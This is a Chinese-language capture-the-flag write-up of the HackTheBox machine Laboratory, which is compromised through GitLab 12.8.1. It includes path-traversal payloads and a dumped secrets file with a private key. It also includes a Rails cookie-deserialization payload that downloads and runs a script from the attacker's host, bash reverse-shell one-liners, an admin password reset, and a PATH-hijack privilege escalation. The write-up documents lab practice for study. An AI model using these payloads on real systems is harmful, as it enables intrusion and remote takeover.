{{帝力于我何有哉}} 不疯魔，不成活。 Be obsessed, or be average.

HackTheBox >_ Laboratory_216

Published on 01 Mar 2021

Laboratory_216

Scan

$ rustscan 10.10.10.216 -b 924 -t 1500 --no-nmap

$ sudo nmap -p22,80,443 -sV -T5 -Pn -oX sploit.xml 10.10.10.216; searchsploit --nmap sploit.xml

80

加入hosts

直接跳到https

在网站证书中发现来额外线索

加入hosts再浏览

修改为当前靶机的域名再次注册

成功登陆

在projects 下的 Explore projects发现了项目

虽然能够提交代码，但不能合并到主线

12.8.1

继续搜索发现了一个可以利用到漏洞

https://www.exploit-db.com/exploits/48431

https://gitlab.com/gitlab-org/gitlab/-/issues/212175

尝试利用

首先在自己的git中新建两个项目

进入其中任意一个项目

提issue，并写入payload

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

点击右下角的move issue，然后选择另一个我们建立的项目

成功移动后会变为链接样式，点击可下载文件

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/VERSION)

漏洞验证成功

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../../etc/gitlab/gitlab.rb)

想弹配置文件但失败

弹root ssh也失败

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../../var/opt/gitlab/gitlab-rails/etc/database.yml)

继续搜集的过程中在

https://hackerone.com/reports/827052

发现了更进一步的利用方法。

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.

---
production:
  db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
  secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
  otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
  openid_connect_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    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
    -----END RSA PRIVATE KEY-----

此漏洞只需要secret_key_base

secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3

先准备一个bash脚本，用来获得 reverse shell evilx.sh

#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.228/1337 0>&1

在工作目录建立http服务

python -m SimpleHTTPServer 8080

使用docker拉取环境

sudo docker pull gitlab/gitlab-ee:12.8.1-ee.0

运行环境

sudo docker run -it gitlab/gitlab-ee:12.8.1-ee.0 sh

首先，后台运行

/opt/gitlab/embedded/bin/runsvdir-start &

报错回车跳过即可

然后初始化配置

gitlab-ctl reconfigure

修改配置文件中的secret_key_base为之前在靶机得到的key

nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

现在已经可以开始利用漏洞了

gitlab-rails console

request = ActionDispatch::Request.new(Rails.application.env_config)

request.env["action_dispatch.cookies_serializer"] = :marshal

cookies = request.cookie_jar

erb = ERB.new("<%= `curl http://10.10.14.228:8080/evilx.sh -o /tmp/evilx.sh && chmod 777 /tmp/evilx.sh && bash /tmp/evilx.sh` %>")

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)

cookies.signed[:cookie] = depr

puts cookies[:cookie]

这是得到了cookie

BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAaUjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgY3VybCBodHRwOi8vMTAuMTAuMTQuMjI4OjgwODAvZXZpbHguc2ggLW8gL3RtcC9ldmlseC5zaCAmJiBjaG1vZCA3NzcgL3RtcC9ldmlseC5zaCAmJiBiYXNoIC90bXAvZXZpbHguc2hgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--852aed7238e272ea0aa0942dc3ffc9dbf4883cf7

在1337 建立监听

激活漏洞

curl -k -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAaUjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgY3VybCBodHRwOi8vMTAuMTAuMTQuMjI4OjgwODAvZXZpbHguc2ggLW8gL3RtcC9ldmlseC5zaCAmJiBjaG1vZCA3NzcgL3RtcC9ldmlseC5zaCAmJiBiYXNoIC90bXAvZXZpbHguc2hgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--852aed7238e272ea0aa0942dc3ffc9dbf4883cf7"

用户是git，我们只能继续使用gitlab进行进一步渗透

经过多次尝试，必须要使用sh 切换到tty才能正常进入rails console 不然会进入检查模式并卡死 python3 -c 'import pty; pty.spawn("/bin/sh")' gitlab-rails console

比较好的办法是修改gitlab管理员的账户密码，从而登录管理员账户，进行更进一步的信息搜集

u = User.where(id:1).first

dexter

重置密码

u.password = 'evilx123456' u.password_confirmation = 'evilx123456' u.save!

使用新的凭证登录git

dexter:evilx123456

SecureDocker

dexter/.ssh

下发现了用户的私钥

登录ssh

chmod 600 id_rsa
ssh -i id_rsa dexter@10.10.10.216

find / -perm -4000 2>/dev/null

/usr/local/bin/docker-security

使用了chmod，但是并没有指定chmod的完整路径我们可以利用路径劫持进行提权

使用pspy可以看到，该二进制程序会自动运行

在 /tmp 下伪造 chmod

#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.228/1338 0>&1

赋予执行权限，并修改环境变量

在监听处获得root shell

HackTheBox >_ Laboratory_216

Laboratory_216

Scan

80

related posts

HackTheBox >_ Luanne_218

HackTheBox >_ Passage_206

HackTheBox >_ Jewel_211